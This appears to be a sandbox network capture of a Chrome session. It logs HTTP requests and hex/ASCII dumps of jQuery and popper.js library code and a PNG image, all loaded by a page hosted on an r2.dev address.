2025-03-13 09:07:50 UTC	1378	IN	Data Raw: 62 61 63 6b 45 78 70 65 63 74 20 3d 20 21 69 6e 76 65 72 74 3b 0a 0a 09 09 2f 2f 20 47 6f 20 74 68 72 6f 75 67 68 20 74 68 65 20 61 72 72 61 79 2c 20 6f 6e 6c 79 20 73 61 76 69 6e 67 20 74 68 65 20 69 74 65 6d 73 0a 09 09 2f 2f 20 74 68 61 74 20 70 61 73 73 20 74 68 65 20 76 61 6c 69 64 61 74 6f 72 20 66 75 6e 63 74 69 6f 6e 0a 09 09 66 6f 72 20 28 20 3b 20 69 20 3c 20 6c 65 6e 67 74 68 3b 20 69 2b 2b 20 29 20 7b 0a 09 09 09 63 61 6c 6c 62 61 63 6b 49 6e 76 65 72 73 65 20 3d 20 21 63 61 6c 6c 62 61 63 6b 28 20 65 6c 65 6d 73 5b 20 69 20 5d 2c 20 69 20 29 3b 0a 09 09 09 69 66 20 28 20 63 61 6c 6c 62 61 63 6b 49 6e 76 65 72 73 65 20 21 3d 3d 20 63 61 6c 6c 62 61 63 6b 45 78 70 65 63 74 20 29 20 7b 0a 09 09 09 09 6d 61 74 63 68 65 73 2e 70 75 73 68 28 20 65 Data Ascii: backExpect = !invert;// Go through the array, only saving the items// that pass the validator functionfor ( ; i < length; i++ ) {callbackInverse = !callback( elems[ i ], i );if ( callbackInverse !== callbackExpect ) {matches.push( e
2025-03-13 09:07:50 UTC	1378	IN	Data Raw: 2c 20 6e 61 6d 65 20 29 20 7b 0a 09 63 6c 61 73 73 32 74 79 70 65 5b 20 22 5b 6f 62 6a 65 63 74 20 22 20 2b 20 6e 61 6d 65 20 2b 20 22 5d 22 20 5d 20 3d 20 6e 61 6d 65 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 3b 0a 7d 20 29 3b 0a 0a 66 75 6e 63 74 69 6f 6e 20 69 73 41 72 72 61 79 4c 69 6b 65 28 20 6f 62 6a 20 29 20 7b 0a 0a 09 2f 2f 20 53 75 70 70 6f 72 74 3a 20 72 65 61 6c 20 69 4f 53 20 38 2e 32 20 6f 6e 6c 79 20 28 6e 6f 74 20 72 65 70 72 6f 64 75 63 69 62 6c 65 20 69 6e 20 73 69 6d 75 6c 61 74 6f 72 29 0a 09 2f 2f 20 60 69 6e 60 20 63 68 65 63 6b 20 75 73 65 64 20 74 6f 20 70 72 65 76 65 6e 74 20 4a 49 54 20 65 72 72 6f 72 20 28 67 68 2d 32 31 34 35 29 0a 09 2f 2f 20 68 61 73 4f 77 6e 20 69 73 6e 27 74 20 75 73 65 64 20 68 65 72 65 20 64 75 65 20 74 Data Ascii: , name ) {class2type[ "[object " + name + "]" ] = name.toLowerCase();} );function isArrayLike( obj ) {// Support: real iOS 8.2 only (not reproducible in simulator)// `in` check used to prevent JIT error (gh-2145)// hasOwn isn't used here due t
2025-03-13 09:07:50 UTC	1378	IN	Data Raw: 6e 73 74 61 6e 63 65 20 6d 65 74 68 6f 64 73 0a 09 68 61 73 4f 77 6e 20 3d 20 28 7b 7d 29 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 2c 0a 09 61 72 72 20 3d 20 5b 5d 2c 0a 09 70 6f 70 20 3d 20 61 72 72 2e 70 6f 70 2c 0a 09 70 75 73 68 5f 6e 61 74 69 76 65 20 3d 20 61 72 72 2e 70 75 73 68 2c 0a 09 70 75 73 68 20 3d 20 61 72 72 2e 70 75 73 68 2c 0a 09 73 6c 69 63 65 20 3d 20 61 72 72 2e 73 6c 69 63 65 2c 0a 09 2f 2f 20 55 73 65 20 61 20 73 74 72 69 70 70 65 64 2d 64 6f 77 6e 20 69 6e 64 65 78 4f 66 20 61 73 20 69 74 27 73 20 66 61 73 74 65 72 20 74 68 61 6e 20 6e 61 74 69 76 65 0a 09 2f 2f 20 68 74 74 70 73 3a 2f 2f 6a 73 70 65 72 66 2e 63 6f 6d 2f 74 68 6f 72 2d 69 6e 64 65 78 6f 66 2d 76 73 2d 66 6f 72 2f 35 0a 09 69 6e 64 65 78 4f 66 20 3d 20 66 75 6e Data Ascii: nstance methodshasOwn = ({}).hasOwnProperty,arr = [],pop = arr.pop,push_native = arr.push,push = arr.push,slice = arr.slice,// Use a stripped-down indexOf as it's faster than native// https://jsperf.com/thor-indexof-vs-for/5indexOf = fun

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.12	49709	104.17.24.14	443	4832	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-13 09:07:50 UTC	744	OUT	GET /ajax/libs/popper.js/1.12.9/umd/popper.min.js HTTP/1.1 Host: cdnjs.cloudflare.com Connection: keep-alive Origin: https://pub-160645733abe48e1a173755d32058a26.r2.dev sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://pub-160645733abe48e1a173755d32058a26.r2.dev/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-13 09:07:50 UTC	946	IN	HTTP/1.1 200 OK Date: Thu, 13 Mar 2025 09:07:50 GMT Content-Type: application/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * Cache-Control: public, max-age=30672000 ETag: W/"5eb03fa9-4af4" Last-Modified: Mon, 04 May 2020 16:15:37 GMT cf-cdnjs-via: cfworker/kv Cross-Origin-Resource-Policy: cross-origin Timing-Allow-Origin: * X-Content-Type-Options: nosniff CF-Cache-Status: MISS Expires: Tue, 03 Mar 2026 09:07:50 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=UCxBhsuczyMx8lcsiMtL7K5hDkjRIsU2QycRZrpfQHf%2Ft1gOGGdhVX%2FS%2BTVumKH1K4lYRhhDuMv6Euus7jzRjtert0uZ04Dq0zoQxb43rBkzR1onVFnYvMILkX0sdyOyVGsCg9VZ"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Strict-Transport-Security: max-age=15780000 Server: cloudflare CF-RAY: 91fa62203af23bf1-MEM alt-svc: h3=":443"; ma=86400
2025-03-13 09:07:50 UTC	423	IN	Data Raw: 34 61 66 34 0d 0a 2f 2a 0a 20 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 46 65 64 65 72 69 63 6f 20 5a 69 76 6f 6c 6f 20 32 30 31 37 0a 20 44 69 73 74 72 69 62 75 74 65 64 20 75 6e 64 65 72 20 74 68 65 20 4d 49 54 20 4c 69 63 65 6e 73 65 20 28 6c 69 63 65 6e 73 65 20 74 65 72 6d 73 20 61 72 65 20 61 74 20 68 74 74 70 3a 2f 2f 6f 70 65 6e 73 6f 75 72 63 65 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 73 2f 4d 49 54 29 2e 0a 20 2a 2f 28 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 27 6f 62 6a 65 63 74 27 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 26 26 27 75 6e 64 65 66 69 6e 65 64 27 21 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 74 28 29 3a 27 66 75 6e 63 74 69 6f 6e 27 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 Data Ascii: 4af4/* Copyright (C) Federico Zivolo 2017 Distributed under the MIT License (license terms are at http://opensource.org/licenses/MIT). */(function(e,t){'object'==typeof exports&&'undefined'!=typeof module?module.exports=t():'function'==typeof define&
2025-03-13 09:07:50 UTC	1369	IN	Data Raw: 74 75 72 6e 5b 5d 3b 76 61 72 20 6f 3d 67 65 74 43 6f 6d 70 75 74 65 64 53 74 79 6c 65 28 65 2c 6e 75 6c 6c 29 3b 72 65 74 75 72 6e 20 74 3f 6f 5b 74 5d 3a 6f 7d 66 75 6e 63 74 69 6f 6e 20 6f 28 65 29 7b 72 65 74 75 72 6e 27 48 54 4d 4c 27 3d 3d 3d 65 2e 6e 6f 64 65 4e 61 6d 65 3f 65 3a 65 2e 70 61 72 65 6e 74 4e 6f 64 65 7c 7c 65 2e 68 6f 73 74 7d 66 75 6e 63 74 69 6f 6e 20 6e 28 65 29 7b 69 66 28 21 65 29 72 65 74 75 72 6e 20 64 6f 63 75 6d 65 6e 74 2e 62 6f 64 79 3b 73 77 69 74 63 68 28 65 2e 6e 6f 64 65 4e 61 6d 65 29 7b 63 61 73 65 27 48 54 4d 4c 27 3a 63 61 73 65 27 42 4f 44 59 27 3a 72 65 74 75 72 6e 20 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 2e 62 6f 64 79 3b 63 61 73 65 27 23 64 6f 63 75 6d 65 6e 74 27 3a 72 65 74 75 72 6e 20 65 2e 62 6f 64 Data Ascii: turn[];var o=getComputedStyle(e,null);return t?o[t]:o}function o(e){return'HTML'===e.nodeName?e:e.parentNode\|\|e.host}function n(e){if(!e)return document.body;switch(e.nodeName){case'HTML':case'BODY':return e.ownerDocument.body;case'#document':return e.bod
2025-03-13 09:07:50 UTC	1369	IN	Data Raw: 65 6e 74 73 2e 6c 65 6e 67 74 68 26 26 76 6f 69 64 20 30 21 3d 3d 61 72 67 75 6d 65 6e 74 73 5b 32 5d 26 26 61 72 67 75 6d 65 6e 74 73 5b 32 5d 2c 69 3d 61 28 74 2c 27 74 6f 70 27 29 2c 6e 3d 61 28 74 2c 27 6c 65 66 74 27 29 2c 72 3d 6f 3f 2d 31 3a 31 3b 72 65 74 75 72 6e 20 65 2e 74 6f 70 2b 3d 69 2a 72 2c 65 2e 62 6f 74 74 6f 6d 2b 3d 69 2a 72 2c 65 2e 6c 65 66 74 2b 3d 6e 2a 72 2c 65 2e 72 69 67 68 74 2b 3d 6e 2a 72 2c 65 7d 66 75 6e 63 74 69 6f 6e 20 66 28 65 2c 74 29 7b 76 61 72 20 6f 3d 27 78 27 3d 3d 3d 74 3f 27 4c 65 66 74 27 3a 27 54 6f 70 27 2c 69 3d 27 4c 65 66 74 27 3d 3d 6f 3f 27 52 69 67 68 74 27 3a 27 42 6f 74 74 6f 6d 27 3b 72 65 74 75 72 6e 20 70 61 72 73 65 46 6c 6f 61 74 28 65 5b 27 62 6f 72 64 65 72 27 2b 6f 2b 27 57 69 64 74 68 27 5d Data Ascii: ents.length&&void 0!==arguments[2]&&arguments[2],i=a(t,'top'),n=a(t,'left'),r=o?-1:1;return e.top+=ir,e.bottom+=ir,e.left+=nr,e.right+=nr,e}function f(e,t){var o='x'===t?'Left':'Top',i='Left'==o?'Right':'Bottom';return parseFloat(e['border'+o+'Width']
2025-03-13 09:07:50 UTC	1369	IN	Data Raw: 66 2c 6c 65 66 74 3a 70 2e 6c 65 66 74 2d 73 2e 6c 65 66 74 2d 6d 2c 77 69 64 74 68 3a 70 2e 77 69 64 74 68 2c 68 65 69 67 68 74 3a 70 2e 68 65 69 67 68 74 7d 29 3b 69 66 28 68 2e 6d 61 72 67 69 6e 54 6f 70 3d 30 2c 68 2e 6d 61 72 67 69 6e 4c 65 66 74 3d 30 2c 21 69 26 26 72 29 7b 76 61 72 20 75 3d 70 61 72 73 65 46 6c 6f 61 74 28 61 2e 6d 61 72 67 69 6e 54 6f 70 2c 31 30 29 2c 62 3d 70 61 72 73 65 46 6c 6f 61 74 28 61 2e 6d 61 72 67 69 6e 4c 65 66 74 2c 31 30 29 3b 68 2e 74 6f 70 2d 3d 66 2d 75 2c 68 2e 62 6f 74 74 6f 6d 2d 3d 66 2d 75 2c 68 2e 6c 65 66 74 2d 3d 6d 2d 62 2c 68 2e 72 69 67 68 74 2d 3d 6d 2d 62 2c 68 2e 6d 61 72 67 69 6e 54 6f 70 3d 75 2c 68 2e 6d 61 72 67 69 6e 4c 65 66 74 3d 62 7d 72 65 74 75 72 6e 28 69 3f 6f 2e 63 6f 6e 74 61 69 6e 73 Data Ascii: f,left:p.left-s.left-m,width:p.width,height:p.height});if(h.marginTop=0,h.marginLeft=0,!i&&r){var u=parseFloat(a.marginTop,10),b=parseFloat(a.marginLeft,10);h.top-=f-u,h.bottom-=f-u,h.left-=m-b,h.right-=m-b,h.marginTop=u,h.marginLeft=b}return(i?o.contains
2025-03-13 09:07:50 UTC	1369	IN	Data Raw: 62 6f 74 74 6f 6d 3a 7b 77 69 64 74 68 3a 70 2e 77 69 64 74 68 2c 68 65 69 67 68 74 3a 70 2e 62 6f 74 74 6f 6d 2d 74 2e 62 6f 74 74 6f 6d 7d 2c 6c 65 66 74 3a 7b 77 69 64 74 68 3a 74 2e 6c 65 66 74 2d 70 2e 6c 65 66 74 2c 68 65 69 67 68 74 3a 70 2e 68 65 69 67 68 74 7d 7d 2c 64 3d 4f 62 6a 65 63 74 2e 6b 65 79 73 28 73 29 2e 6d 61 70 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 73 65 28 7b 6b 65 79 3a 65 7d 2c 73 5b 65 5d 2c 7b 61 72 65 61 3a 45 28 73 5b 65 5d 29 7d 29 7d 29 2e 73 6f 72 74 28 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 72 65 74 75 72 6e 20 74 2e 61 72 65 61 2d 65 2e 61 72 65 61 7d 29 2c 61 3d 64 2e 66 69 6c 74 65 72 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 65 2e 77 69 64 74 68 2c 69 3d 65 2e 68 65 69 67 68 74 Data Ascii: bottom:{width:p.width,height:p.bottom-t.bottom},left:{width:t.left-p.left,height:p.height}},d=Object.keys(s).map(function(e){return se({key:e},s[e],{area:E(s[e])})}).sort(function(e,t){return t.area-e.area}),a=d.filter(function(e){var t=e.width,i=e.height
2025-03-13 09:07:50 UTC	1369	IN	Data Raw: 69 65 72 2e 66 75 6e 63 74 69 6f 6e 60 20 69 73 20 64 65 70 72 65 63 61 74 65 64 2c 20 75 73 65 20 60 6d 6f 64 69 66 69 65 72 2e 66 6e 60 21 27 29 3b 76 61 72 20 69 3d 74 5b 27 66 75 6e 63 74 69 6f 6e 27 5d 7c 7c 74 2e 66 6e 3b 74 2e 65 6e 61 62 6c 65 64 26 26 65 28 69 29 26 26 28 6f 2e 6f 66 66 73 65 74 73 2e 70 6f 70 70 65 72 3d 63 28 6f 2e 6f 66 66 73 65 74 73 2e 70 6f 70 70 65 72 29 2c 6f 2e 6f 66 66 73 65 74 73 2e 72 65 66 65 72 65 6e 63 65 3d 63 28 6f 2e 6f 66 66 73 65 74 73 2e 72 65 66 65 72 65 6e 63 65 29 2c 6f 3d 69 28 6f 2c 74 29 29 7d 29 2c 6f 7d 66 75 6e 63 74 69 6f 6e 20 4e 28 29 7b 69 66 28 21 74 68 69 73 2e 73 74 61 74 65 2e 69 73 44 65 73 74 72 6f 79 65 64 29 7b 76 61 72 20 65 3d 7b 69 6e 73 74 61 6e 63 65 3a 74 68 69 73 2c 73 74 79 6c 65 Data Ascii: ier.function` is deprecated, use `modifier.fn`!');var i=t['function']\|\|t.fn;t.enabled&&e(i)&&(o.offsets.popper=c(o.offsets.popper),o.offsets.reference=c(o.offsets.reference),o=i(o,t))}),o}function N(){if(!this.state.isDestroyed){var e={instance:this,style
2025-03-13 09:07:50 UTC	1369	IN	Data Raw: 6f 76 65 4f 6e 44 65 73 74 72 6f 79 26 26 74 68 69 73 2e 70 6f 70 70 65 72 2e 70 61 72 65 6e 74 4e 6f 64 65 2e 72 65 6d 6f 76 65 43 68 69 6c 64 28 74 68 69 73 2e 70 6f 70 70 65 72 29 2c 74 68 69 73 7d 66 75 6e 63 74 69 6f 6e 20 42 28 65 29 7b 76 61 72 20 74 3d 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 3b 72 65 74 75 72 6e 20 74 3f 74 2e 64 65 66 61 75 6c 74 56 69 65 77 3a 77 69 6e 64 6f 77 7d 66 75 6e 63 74 69 6f 6e 20 48 28 65 2c 74 2c 6f 2c 69 29 7b 76 61 72 20 72 3d 27 42 4f 44 59 27 3d 3d 3d 65 2e 6e 6f 64 65 4e 61 6d 65 2c 70 3d 72 3f 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 2e 64 65 66 61 75 6c 74 56 69 65 77 3a 65 3b 70 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 74 2c 6f 2c 7b 70 61 73 73 69 76 65 3a 21 30 7d 29 2c 72 7c 7c 48 28 Data Ascii: oveOnDestroy&&this.popper.parentNode.removeChild(this.popper),this}function B(e){var t=e.ownerDocument;return t?t.defaultView:window}function H(e,t,o,i){var r='BODY'===e.nodeName,p=r?e.ownerDocument.defaultView:e;p.addEventListener(t,o,{passive:!0}),r\|\|H(
2025-03-13 09:07:50 UTC	1369	IN	Data Raw: 21 21 69 26 26 65 2e 73 6f 6d 65 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 65 2e 6e 61 6d 65 3d 3d 3d 6f 26 26 65 2e 65 6e 61 62 6c 65 64 26 26 65 2e 6f 72 64 65 72 3c 69 2e 6f 72 64 65 72 7d 29 3b 69 66 28 21 6e 29 7b 76 61 72 20 72 3d 27 60 27 2b 74 2b 27 60 27 3b 63 6f 6e 73 6f 6c 65 2e 77 61 72 6e 28 27 60 27 2b 6f 2b 27 60 27 2b 27 20 6d 6f 64 69 66 69 65 72 20 69 73 20 72 65 71 75 69 72 65 64 20 62 79 20 27 2b 72 2b 27 20 6d 6f 64 69 66 69 65 72 20 69 6e 20 6f 72 64 65 72 20 74 6f 20 77 6f 72 6b 2c 20 62 65 20 73 75 72 65 20 74 6f 20 69 6e 63 6c 75 64 65 20 69 74 20 62 65 66 6f 72 65 20 27 2b 72 2b 27 21 27 29 7d 72 65 74 75 72 6e 20 6e 7d 66 75 6e 63 74 69 6f 6e 20 4b 28 65 29 7b 72 65 74 75 72 6e 27 65 6e 64 27 3d 3d 3d 65 3f 27 Data Ascii: !!i&&e.some(function(e){return e.name===o&&e.enabled&&e.order<i.order});if(!n){var r='`'+t+'`';console.warn('`'+o+'`'+' modifier is required by '+r+' modifier in order to work, be sure to include it before '+r+'!')}return n}function K(e){return'end'===e?'
2025-03-13 09:07:50 UTC	1369	IN	Data Raw: 6e 67 74 68 2d 31 5d 26 26 2d 31 21 3d 3d 5b 27 2b 27 2c 27 2d 27 5d 2e 69 6e 64 65 78 4f 66 28 74 29 3f 28 65 5b 65 2e 6c 65 6e 67 74 68 2d 31 5d 3d 74 2c 70 3d 21 30 2c 65 29 3a 70 3f 28 65 5b 65 2e 6c 65 6e 67 74 68 2d 31 5d 2b 3d 74 2c 70 3d 21 31 2c 65 29 3a 65 2e 63 6f 6e 63 61 74 28 74 29 7d 2c 5b 5d 29 2e 6d 61 70 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 56 28 65 2c 6e 2c 74 2c 6f 29 7d 29 7d 29 2c 61 2e 66 6f 72 45 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 65 2e 66 6f 72 45 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 6f 2c 69 29 7b 55 28 6f 29 26 26 28 6e 5b 74 5d 2b 3d 6f 2a 28 27 2d 27 3d 3d 3d 65 5b 69 2d 31 5d 3f 2d 31 3a 31 29 29 7d 29 7d 29 2c 6e 7d 66 75 6e 63 74 69 6f 6e 20 47 28 65 2c 74 29 7b 76 61 72 20 6f 2c Data Ascii: ngth-1]&&-1!==['+','-'].indexOf(t)?(e[e.length-1]=t,p=!0,e):p?(e[e.length-1]+=t,p=!1,e):e.concat(t)},[]).map(function(e){return V(e,n,t,o)})}),a.forEach(function(e,t){e.forEach(function(o,i){U(o)&&(n[t]+=o*('-'===e[i-1]?-1:1))})}),n}function G(e,t){var o,
2025-03-13 09:07:50 UTC	1369	IN	Data Raw: 74 6f 74 79 70 65 2c 6f 29 2c 69 26 26 65 28 74 2c 69 29 2c 74 7d 7d 28 29 2c 70 65 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6f 29 7b 72 65 74 75 72 6e 20 74 20 69 6e 20 65 3f 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 65 2c 74 2c 7b 76 61 6c 75 65 3a 6f 2c 65 6e 75 6d 65 72 61 62 6c 65 3a 21 30 2c 63 6f 6e 66 69 67 75 72 61 62 6c 65 3a 21 30 2c 77 72 69 74 61 62 6c 65 3a 21 30 7d 29 3a 65 5b 74 5d 3d 6f 2c 65 7d 2c 73 65 3d 4f 62 6a 65 63 74 2e 61 73 73 69 67 6e 7c 7c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 6f 72 28 76 61 72 20 74 2c 6f 3d 31 3b 6f 3c 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3b 6f 2b 2b 29 66 6f 72 28 76 61 72 20 69 20 69 6e 20 74 3d 61 72 67 75 6d 65 6e 74 73 5b 6f 5d 2c 74 29 4f 62 6a 65 63 74 2e 70 72 6f Data Ascii: totype,o),i&&e(t,i),t}}(),pe=function(e,t,o){return t in e?Object.defineProperty(e,t,{value:o,enumerable:!0,configurable:!0,writable:!0}):e[t]=o,e},se=Object.assign\|\|function(e){for(var t,o=1;o<arguments.length;o++)for(var i in t=arguments[o],t)Object.pro

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.12	49717	3.75.10.80	443	4832	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-13 09:07:53 UTC	660	OUT	GET /mgs/d2.png HTTP/1.1 Host: polynethub.netlify.app Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Sec-Fetch-Storage-Access: active Referer: https://pub-160645733abe48e1a173755d32058a26.r2.dev/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-13 09:07:53 UTC	421	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Age: 52707 Cache-Control: public,max-age=0,must-revalidate Cache-Status: "Netlify Edge"; hit Content-Length: 8432 Content-Type: image/png Date: Thu, 13 Mar 2025 09:07:53 GMT Etag: "5b7dea020bc67c769ded6acd97eea7a4-ssl" Server: Netlify Strict-Transport-Security: max-age=31536000; includeSubDomains; preload X-Nf-Request-Id: 01JP7C5713Z31K5AS6RZD533N3 Connection: close
2025-03-13 09:07:53 UTC	765	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 ab 00 00 00 81 08 06 00 00 00 bf df 4a 49 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 00 09 70 48 59 73 00 00 0e c3 00 00 0e c3 01 c7 6f a8 64 00 00 20 85 49 44 41 54 78 5e ed 9d 87 7f 54 45 d7 c7 df bf 42 7d 49 21 1d 12 40 05 95 c7 e7 55 1f 20 20 02 0f 22 20 28 28 88 82 74 01 a9 e9 21 09 55 50 14 05 29 4a 93 0e d2 a5 77 50 3a 81 10 48 08 84 40 2a 09 69 24 21 09 04 c8 79 e7 cc ce 4d b6 9c ad f7 ee ee ac e6 7c 3e df 0f 65 77 e7 ce dc f9 dd 33 67 ea fd 1f 68 b2 26 f3 10 b3 49 ac f9 67 76 c0 83 73 db c4 bf 9a ec ef 66 cf 6b 2a e0 68 dc 07 90 93 76 45 fc 8f 9c 66 55 ac 35 95 0f 61 da 7f 9a 41 5c b8 17 9c 1e f7 0a 54 1c 5b 0a 4f cb f2 c4 a7 4d e6 c9 56 93 Data Ascii: PNGIHDRJIsRGBgAMAapHYsod IDATx^TEB}I!@U " ((t!UP)JwP:H@i$!yM\|>ew3gh&IgvsfkhvEfU5aA\T[OMV
2025-03-13 09:07:53 UTC	2372	IN	Data Raw: 6c e6 8d 39 35 32 10 e2 3b 7b f3 3e 06 55 5f e6 98 f5 a1 9c a1 80 59 b1 da 12 02 50 44 b3 b0 60 6e 77 5f 48 1e 6b 1a 16 18 83 de 36 87 05 ff c5 6b c7 41 6d c6 69 71 e5 26 33 b6 67 15 85 50 71 f2 57 c8 9f d7 45 34 f3 b4 38 f5 d9 f2 09 36 fb 8d 3d 7d 7b 88 eb de 02 72 d2 e5 0b 05 48 b1 da 13 02 50 60 58 80 7f ee ff dc 7c 58 60 0c 0f 13 92 de 84 87 07 be 87 ba a2 4c 91 93 7f b6 55 a7 ec 85 c2 65 83 20 27 3a 0c 72 e2 5e 21 45 69 cc 8d 89 c1 b0 b0 97 9f cd cd 3e 05 0f 05 96 cc 14 b9 90 c7 48 b1 5e dc bb c9 ee 10 80 02 c3 02 9c 1d c9 9e 4a 0b 94 02 3b 64 b9 31 2f 43 e1 0f bd a0 ea dc 26 a8 7f fc 48 e4 ea 9f 61 8f ef 5d 86 d2 df a3 b9 38 b1 47 4f 09 d2 1c c7 87 07 f0 7b 6e 6f b3 4f 21 63 28 40 8a d5 d1 10 80 02 9b a2 59 ef f9 c0 85 31 d6 c3 02 63 f2 58 93 97 c3 Data Ascii: l952;{>U_YPD`nw_Hk6kAmiq&3gPqWE486=}{rHP`X\|X`LUe ':r^!Ei>H^J;d1/C&Ha]8GO{noO!c(@Y1cX
2025-03-13 09:07:53 UTC	538	IN	Data Raw: 75 bc dc db 3f c0 21 2b dc cd 5a 74 ef 96 a8 79 f9 cc aa 58 77 2c 88 72 db 42 ec 84 ce cd 60 ff 50 1f 3e 4e 79 c0 8e f7 c0 5a 02 07 f1 b5 12 6b 79 82 36 79 c2 17 80 e0 fb 56 97 f5 f5 81 85 ef bb c7 cb 62 d3 3f b3 6f 5b 29 c7 57 15 33 2b 56 0c ae 67 f7 7f 03 62 ba b8 76 5b f6 f7 3d bd 60 ff 97 7e 90 1d e3 cf 3a 30 ba 1e f7 d5 f1 da 88 02 c1 41 7c ad c4 8a 87 5a 50 d7 70 94 c2 38 dd 71 99 65 09 cd 21 79 62 00 ac ee ef 0d 71 e1 f4 7d 72 16 e8 98 8e fe b6 50 a8 40 2e 33 2b d6 d2 82 6c 97 4c b9 c6 74 6a 06 ab fa 79 c3 a5 af 03 a0 94 55 d2 43 56 59 0d 62 9a 15 08 25 f1 f6 f7 f8 2d 81 83 f8 c6 a2 73 14 1c b3 a5 ae e1 28 78 7a 8c fe e2 f0 8a 19 fe fc df 77 a3 fd e1 8f 2f 7c e1 db 1e ce f7 ba b1 ef 05 c1 fe 65 73 84 0a e4 32 8b 61 40 56 ca 39 b2 40 6a 99 d7 dd 0b Data Ascii: u?!+ZtyXw,rB`P>NyZky6yVb?o[)W3+Vgbv[=`~:0A\|ZPp8qe!ybq}rP@.3+lLtjyUCVYb%-s(xzw/\|es2a@V9@j
2025-03-13 09:07:53 UTC	4744	IN	Data Raw: 57 24 f9 f3 fb 9f 3e 2d 00 36 7d e2 c3 cf ff a2 ea 4b 01 fb 26 f7 ef a4 8b 9a 96 d7 6c 16 2b da 8a 69 83 0c c6 5c 13 bb 34 83 0d 03 bd e1 c6 d4 40 fe 64 57 68 e1 b1 9c d8 fc 2b 60 65 52 d7 b6 07 14 ab b9 85 d7 5a 61 4b 38 60 0d f4 ba 95 ac 15 c8 8f f5 87 a3 23 fd e0 c7 5e 86 c2 c5 de ff cd 73 f2 be 51 5c df ec 12 eb d3 ba 27 b0 78 68 47 38 3c dc 0f f2 58 e1 b1 79 c7 9b 41 dd 24 87 c0 e6 7f ba 73 05 80 e0 60 3e 79 7d 3b 40 b1 5a 5a 78 ad 05 98 3e 75 6d 35 60 27 ad 3c b1 39 5c 9b 1c 00 1b 07 05 c0 f9 3d eb 45 ed ca 6f 76 89 15 ad fc e4 52 e6 fd 34 14 68 03 d8 fc 6b 37 9e 6a 09 1c cc a7 f3 60 3b d8 02 60 6c 49 a5 af 25 b8 4a cc d1 70 c0 1a 0f e7 b6 12 b5 ea 19 66 b7 58 1f af 1b 48 16 5c 2d ae 68 fe 15 b4 5a 80 6d cb c2 6b 2d d0 22 1c 20 99 17 0a cf ef 5f 17 Data Ascii: W$>-6}K&l+i\4@dWh+`eRZaK8`#^sQ\'xhG8<XyA$s`>y};@ZZx>um5`'<9\=EovR4hk7j`;`lI%JpfXH\-hZmk-" _
2025-03-13 09:07:53 UTC	13	IN	Data Raw: 36 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: 6IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.12	49716	3.75.10.80	443	4832	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
